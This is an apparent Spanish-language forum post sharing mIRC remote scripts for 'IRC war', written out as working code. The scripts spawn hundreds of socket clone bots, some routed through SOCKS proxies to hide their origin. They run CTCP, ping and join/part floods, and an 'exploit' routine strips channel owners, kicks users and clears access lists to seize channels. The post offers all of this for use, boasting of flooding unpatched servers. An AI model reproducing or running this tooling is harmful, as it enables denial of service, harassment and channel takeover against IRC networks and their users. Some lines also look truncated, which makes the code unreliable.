pasteare 4 inis para mirc para akellos amantes del war irc
no hay trabajo alguno realizado al respecto con tanta exactitud y se trata de sockes...estos inis cargarlos al remote del mirc
avisos: hay servidores ke ya lo probaron o sea ke tanparcheados te cargan 500 clones en un ircd o ircx no parcheado...te crean 3000 salones en un ircd o ircx no bien seteado ahi va son 4...no existen estos inis en la red solo es trabajo de mi amigo n4zgul de españa y el ke les pastea...cargarlos en una carpeta dentro del mirc llamada c:\mirc\system
1ero-nombre del ini = mass.socks.adv
------------------------------------------------------------------------------------
- Advance null -

[+mass socks+]

alias sockbots {
set %num.clones $$?="Num clones:"
.window -e @mass.socks
set %contador 0
while (%contador < %num.clones) {
.sockopen sock $+ %contador %s.server
inc %contador
}
}

alias sockmask { return Mo $+ $r(0,99) $+ $r(0,99) $+ $r(0,99) }

on 1:sockopen:sock*: {
sockwrite -n $sockname user $sockmask $sockmask $sockmask : mass.socks v.1.0+
sockwrite -n $sockname mode +i
sockwrite -n $sockname ircx
sockwrite -n $sockname nick adV $+ $rand(1,9) $+ $rand(A,Z) $+ $rand(1,9) $+ $rand(A,Z) $+ $rand(A,Z) $+ $rand(1,9)
set %massjoin %masschan.1 $+ $chr(44) $+ %masschan.2 $+ $chr(44) $+ %masschan.3 $+ $chr(44) $+ %masschan.4 $+ $chr(44) $+ %masschan.5 $+ $chr(44) $+ %masschan.6 $+ $chr(44) $+ %masschan.7 $+ $chr(44) $+ %masschan.8 $+ $chr(44) $+ %masschan.9 $+ $chr(44) $+ %masschan.10
sockwrite -n $sockname join $remove(%massjoin ,$chr(91),$chr(93))
.guser 1000 $me 3
}

on 1:sockclose:sock*: {
echo @mass.socks 15[14mass socks15] -14 $sockname closed =/ !
}
on 1:sockread:sock*: {
sockread %sock.data
if ($gettok(%sock.data,1,32) == ERROR) {
echo @mass.socks 15[14mass socks15] -14 sock.error !!!!
}
if ($gettok(%sock.data,2,32) == MODE) {
if ((%sock.badguy != % [ $+ [ $sockname ] $+ ] .mynick) && ($level($address(%sock.badguy,3)) != 1000)) {
if (-q % [ $+ [ $sockname ] $+ ] .mynick isin %sock.data) {
sockwrite -n $sockname part $gettok(%sock.data,3,32)
sockwrite -n $sockname join $gettok(%sock.data,3,32) $key($chan)
sockwrite -n $sockname access $gettok(%sock.data,3,32) clear
}
sockwrite -n $sockname kick $gettok(%sock.data,3,32) %sock.badguy 15[ 9f14uck 9y140u 15] | halt
}
if (($level($address($gettok(%sock.data,5,32),3)) == 1000) && (-q isin %sock.data)) {
if (($level($address($gettok(%sock.data,5,32),3)) == 1000) && ($level($address(%sock.badguy,3)) != 1000)) { sockwrite -n $sockname mode $gettok(%sock.data,3,32) -q+q %sock.badguy $gettok(%sock.data,5,32) | halt }
}
}
if (+q % [ $+ [ $sockname ] $+ ] .mynick isin %sock.data) { timer93 $+ $sockname $+ $gettok(%sock.data,3,32) 0 30 sockwrite -n $sockname access $gettok(%sock.data,3,32) add owner $ip 0 | halt }
if (+o % [ $+ [ $sockname ] $+ ] .mynick isin %sock.data) { timer93 $+ $sockname $+ $gettok(%sock.data,3,32) 0 30 sockwrite -n $sockname access $gettok(%sock.data,3,32) add host $ip 0 | halt }
if ($gettok(%sock.data,2,32) == JOIN) {
set %sock.badguytemp $mid(%sock.data,2,$calc($pos(%sock.data,!,1) - 2))
if ($level($address(%sock.badguytemp,3)) == 1000) {
sockwrite -n $sockname mode $remove($gettok(%sock.data,3,32), +q %sock.badguytemp
halt
}
if ($level($address(%sock.badguy,3)) == LAMER) {
sockwrite -n $sockname kick $remove($gettok(%sock.data,3,32), %sock.badguy 15[ 14banned 15]
}
}
if ($gettok(%sock.data,2,32) == KICK) {
if (% [ $+ [ $sockname ] $+ ] .mynick == $gettok(%sock.data,4,32)) {
sockwrite -n $sockname join $gettok(%sock.data,3,32) $key($chan)
sockwrite -n $sockname access $gettok(%sock.data,3,32) clear
if ((%sock.badguy != % [ $+ [ $sockname ] $+ ] .mynick) && ($level($address(%sock.badguy,3)) != 1000)) { sockwrite -n $sockname kick $gettok(%sock.data,3,32) %sock.badguy 15[ 9f14uck 9y140u 15] }
halt
}
if (($level($address($gettok(%sock.data,4,32),3)) == 1000) && (%sock.badguy != % [ $+ [ $sockname ] $+ ] .mynick)) { sockwrite -n $sockname kick $gettok(%sock.data,3,32) %sock.badguy 15[ 9f14uck 9y140u 15] | halt }
}
if (PROP $gettok(%sock.data,3,32) OWNERKEY isin %sock.data) {
if (($level($address(%sock.badguy,3)) != 1000) && (%sock.badguy != % [ $+ [ $sockname ] $+ ] .mynick)) {
halt
}
if ($level($address(%sock.badguy,3)) == 1000) {
echo @mass.socks 15[14mass socks15] - %sock.badguy (+n) proped the ownerkey of $remove($gettok(%sock.data,5,32),
%sock.key = $remove($gettok(%sock.data,5,32),
halt
}
}
if ($gettok(%sock.data,2,32) isnum) {
%raw = $gettok(%sock.data,2,32)
if (%raw == 319) { sockwrite -n $sockname notice %sock.badguytemp :15 $gettok(%sock.data,5-,32) }
if (%raw == 485) { sockwrite -n $sockname mode %sock.chan +o %sock.badguytemp }
if (%raw == 353) { set %sock.data $gettok(%sock.data,6-,32) | set %mass2 $remove($remove($remove($remove(%sock.data,@),.),+ ), | halt }
if (%raw == 376) { echo @mass.socks 15[14mass socks15] - %sock.nick registered }
halt
}
}

on 1:kick:#: {
if (($level($address($knick,3)) == 1000) && ($level($address($nick,3)) != 1000)) { kick $chan $nick 15[ 9n140t 9f14uck 9m14y 9m14aster 15] }
}

alias jpf {
set %chanf $$?="Channel flood:"
sockwrite -n * part %chanf
sockwrite -n * join %chanf
sockwrite -n * part %chanf
sockwrite -n * join %chanf
sockwrite -n * part %chanf
sockwrite -n * join %chanf
sockwrite -n * part %chanf
sockwrite -n * join %chanf
}

alias ctcpf { echo @mass.socks 15[14mass socks15] - [14ctcp ctcp flood15] | .sockwrite -n * PRIVMSG $1 :0,1VERSION | .sockwrite -n * PRIVMSG $1 :PING | .sockwrite -n * PRIVMSG $1 :0,1CLIENTINFO | .sockwrite -n * PRIVMSG $1 :0,1USERINFO | .sockwrite -n * PRIVMSG $1 :0,1DCC CHAT 000000000 000 000 25 | .sockwrite -n * PRIVMSG $1 :0,1DCC SEND Fuck.You 3353362454 25 666 }

alias msgf { echo @mass.socks 15[14mass socks15] - [14ctcp msg flood15] | .sockwrite -n * PRIVMSG $1 $2- | .sockwrite -n * PRIVMSG $1 $2- | .sockwrite -n * PRIVMSG $1 $2- | .sockwrite -n * PRIVMSG $1 $2- | .sockwrite -n * PRIVMSG $1 $2- | .sockwrite -n * PRIVMSG $1 $2- }

alias pingf { echo @mass.socks 15[14mass socks15] - [14ctcp ping flood15] | .sockwrite -n * PRIVMSG $1 :PING | .sockwrite -n * PRIVMSG $1 :PING | .sockwrite -n * PRIVMSG $1 :PING | .sockwrite -n * PRIVMSG $1 :PING | .sockwrite -n * PRIVMSG $1 :PING | .sockwrite -n * PRIVMSG $1 :PING | .sockwrite -n * PRIVMSG $1 :PING | .sockwrite -n * PRIVMSG $1 :PING | .sockwrite -n * PRIVMSG $1 :PING | .sockwrite -n * PRIVMSG $1 :PING | .sockwrite -n * PRIVMSG $1 :PING | .sockwrite -n * PRIVMSG $1 :PING | .sockwrite -n * PRIVMSG $1 :PING | .sockwrite -n * PRIVMSG $1 :PING }

alias versionf { echo @mass.socks 15[14mass socks15] - [14ctcp version flood15] | .sockwrite -n * PRIVMSG $1 :0,1VERSION | .sockwrite -n * PRIVMSG $1 :0,1VERSION | .sockwrite -n * PRIVMSG $1 :0,1VERSION | .sockwrite -n * PRIVMSG $1 :0,1VERSION | .sockwrite -n * PRIVMSG $1 :0,1VERSION | .sockwrite -n * PRIVMSG $1 :0,1VERSION | .sockwrite -n * PRIVMSG $1 :0,1VERSION | .sockwrite -n * PRIVMSG $1 :0,1VERSION | .sockwrite -n * PRIVMSG $1 :0,1VERSION | .sockwrite -n * PRIVMSG $1 :0,1VERSION | .sockwrite -n * PRIVMSG $1 :0,1VERSION | .sockwrite -n * PRIVMSG $1 :0,1VERSION | .sockwrite -n * PRIVMSG $1 :0,1VERSION | .sockwrite -n * PRIVMSG $1 :0,1VERSION }

alias massf { set %cnflood $$?="Nick/Channel:" | echo @mass.socks 15[14mass socks15] - [14ctcp mass flood15] | .timer 1 6 /ctcpf $! | .timer 1 12 /msgf $! | .timer 1 18 /pingf $! | .timer 1 25 /versionf $! }

alias Cchat3evr {
.timer54 4 3 /sockwrite -nt sock* privmsg %chanflodsock : $+ $chr(1) $+ PINGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGG GGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGG GGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGG GGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGG GGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGG GGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGG GGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGG GGGGGGGGGGGGGGGGGGGGG $+ $chr(1) | /sockwrite -nt sock* privmsg %chanflodsock : $+ $chr(1) $+ PINGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGG GGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGG GGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGG GGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGG GGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGG GGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGG GGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGG GGGGGGGGGGGGGGGGGGG $+ $chr(1)
}

[+sploit socks+] + I look this sploit bots in bGiRCX + (+ reformed by $me +)

on 1:sockopen:%sploit.1: {
sockwrite -tn $sockname user $sockname $rkey $rkey $rkey
sockwrite -tn $sockname nick $sockname
sockwrite -tn $sockname join %sploit.chan
}
on 1:sockopen:%sploit.2: {
sockwrite -tn $sockname user $sockname $rkey $rkey $rkey
sockwrite -tn $sockname nick $sockname
sockwrite -tn $sockname join %sploit.chan
}

on 1:sockread:%sploit.1: {
sockread %sock.data
if ($gettok(%sock.data,1,32) == PING) { sockwrite -tn $sockname PONG $remove($gettok(%sock.data,2,32), | return }
}
on 1:sockread:%sploit.2: {
sockread %sock.data
if ($gettok(%sock.data,1,32) == PING) { sockwrite -tn $sockname PONG $remove($gettok(%sock.data,2,32), | return }
}

alias testd {
set %nopnicks $numtok($replace($snicks,$chr(44),$chr(32)),32)
set %donicks $replace($snicks,$chr(44),$chr(32))
sockwrite -tn %sploit.2 mode # - $+ $str(q,%nopnicks) $remove(%donicks,%sploit.2)
sockwrite -tn %sploit.1 kick # $remove($snicks,%sploit.1)
sockwrite -tn %sploit.1 prop # ownerkey :
sockwrite -tn %sploit.1 access # clear
sockwrite -tn %sploit.2 join #
}
alias teste {
set %nopnicks $numtok($replace($snicks,$chr(44),$chr(32)),32)
set %donicks $replace($snicks,$chr(44),$chr(32))
sockwrite -tn %sploit.1 mode # - $+ $str(q,%nopnicks) $remove(%donicks,%sploit.1)
sockwrite -tn %sploit.2 kick # $remove($snicks,%sploit.2)
sockwrite -tn %sploit.2 prop # ownerkey :
sockwrite -tn %sploit.2 access # clear
sockwrite -tn %sploit.1 join #
}

alias qex {
set %quitmessage $?="Msg Quit:"
if (%quitmessage == $null) { set %quitmessage 9: 15[14die lammer!15] | halt }
if (%quitmessage != $null) {
if ($snicks == $null) { echo -a $advanced.Z 9: 15[14select nick in nick list15] | halt }
if ($snicks != $null) {
sockwrite -n %sploit.1 kick # %s0ckz
sockwrite -n %sploit.2 kick # $snicks : $+ %quitmessage
.timerrejoin 1 3 sockwrite -n %sploit.2 join # $key($chan)
unset %quitmessage
halt
}
}
}

alias sploit.load {
set %sploit.1 $rkey
set %sploit.2 $rkey
sockopen %sploit.1 %sploit.server
sockopen %sploit.2 %sploit.server
}

menu nicklist {
$iif(%mode.ircx == on,- sploit socks -)
.server ( $+ %sploit.server $+ ):set %sploit.server $$?="Server+Port:"
.-
.load sploit socks: {
set %sploit.chan #
sploit.load
}
.unload: {
sockclose %sploit.1
sockclose %sploit.2
}
.-
.%sploit.1
..spl0it!://testd
.%sploit.2
..spl0it!://teste
.quit exploit:qex
}
-------------------------------------------------------------------------------------------------------------------------------------------------------

[[speedsocks2]]

on 1:sockopen:tets*: {
sockopen -n $sockname 200.42.143.43 6667
sockwrite -n $sockname nick erd $+ $rand(1,9) $+ $rand(A,Z) $+ $rand(1,9) $+
sockwrite -n $sockname user adVanced adVanced adVanced adVanced
sockwrite -n $sockname mode +i
sockwrite -n $sockname ircX
sockwrite -n $sockname join #auryn
sockwrite -n $sockname join %sock.channel2
sockwrite -n $sockname join %sock.channel3
sockwrite -n $sockname join %sock.channel4
sockwrite -n $sockname join %sock.channel5
sockwrite -n $sockname join %sock.channel6
sockwrite -n $sockname join %sock.channel7
sockwrite -n $sockname join %sock.channel8
sockwrite -n $sockname join %sock.channel9
sockwrite -n $sockname join %sock.channel10
.guser 1000 $me 3
}

alias sockybots { set %sp00fx $$?="spoof (1080):" | sockybots2 }
alias sockybots2 {
.window -e @mass.socks
.sockopen tets1 %sp00fx 1080
.sockopen tets2 %sp00fx 1080
.sockopen tets3 %sp00fx 1080
.sockopen tets4 %sp00fx 1080
.sockopen tets5 %sp00fx 1080
.sockopen tets6 %sp00fx 1080
.sockopen tets7 %sp00fx 1080
.sockopen tets8 %sp00fx 1080
.sockopen tets9 %sp00fx 1080
.sockopen tets10 %sp00fx 1080
.sockopen tets11 %sp00fx 1080
.sockopen tets12 %sp00fx 1080
.sockopen tets13 %sp00fx 1080
.sockopen tets14 %sp00fx 1080
.sockopen tets15 %sp00fx 1080
.sockopen tets16 %sp00fx 1080
.sockopen tets17 %sp00fx 1080
.sockopen tets18 %sp00fx 1080
.sockopen tets19 %sp00fx 1080
.sockopen tets20 %sp00fx 1080
.sockopen tets21 %sp00fx 1080
.sockopen tets22 %sp00fx 1080
.sockopen tets23 %sp00fx 1080
.sockopen tets24 %sp00fx 1080
.sockopen tets25 %sp00fx 1080
.sockopen tets26 %sp00fx 1080
}

on 1:sockclose:tets*: {
echo @mass.socks 15[14mass socks15] -14 $sockname closed =/ !
}
on 1:sockread:tets*: {
sockread %sock.data
if ($gettok(%sock.data,1,32) == ERROR) {
echo @mass.socks 15[14mass socks15] -14 sock.error !!!!
}
if ($gettok(%sock.data,2,32) isnum) {
%raw = $gettok(%sock.data,2,32)
if (%raw == 319) { sockwrite -n $sockname notice %sock.badguytemp :15 $gettok(%sock.data,5-,32) }
if (%raw == 485) { sockwrite -n $sockname mode %sock.chan +o %sock.badguytemp }
if (%raw == 353) { set %sock.data $gettok(%sock.data,6-,32) | set %mass2 $remove($remove($remove($remove(%sock.data,@),.),+ ), | halt }
if (%raw == 376) { echo @mass.socks 15[14mass socks15] - %sock.nick registered }
halt
}
}
------------------------------------------------------------------------------------